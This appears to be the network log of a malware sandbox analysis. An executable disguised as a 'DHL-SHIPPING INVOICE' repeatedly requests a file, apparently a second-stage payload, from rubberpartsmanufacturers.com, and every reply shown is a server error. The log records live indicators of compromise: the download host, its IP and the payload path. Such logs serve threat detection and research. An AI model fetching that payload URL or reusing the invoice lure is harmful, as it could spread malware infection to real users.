2024-10-17 08:45:42 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:43 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:44 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:44 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:44 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49742	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:45 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:45 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:45 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:45 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49746	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:46 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:47 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:47 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:47 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49748	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:48 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:48 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:48 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:48 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:49 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:50 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:50 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:50 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:51 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:51 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:51 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:51 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:52 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:53 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:53 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:53 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:54 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:54 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:54 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:54 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:55 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:56 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:55 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:56 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:57 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:57 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:57 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:57 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:58 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:59 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:58 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:59 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:00 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:00 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:00 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:00 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:01 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:01 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:01 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:01 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:02 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:03 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:03 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:03 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:04 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
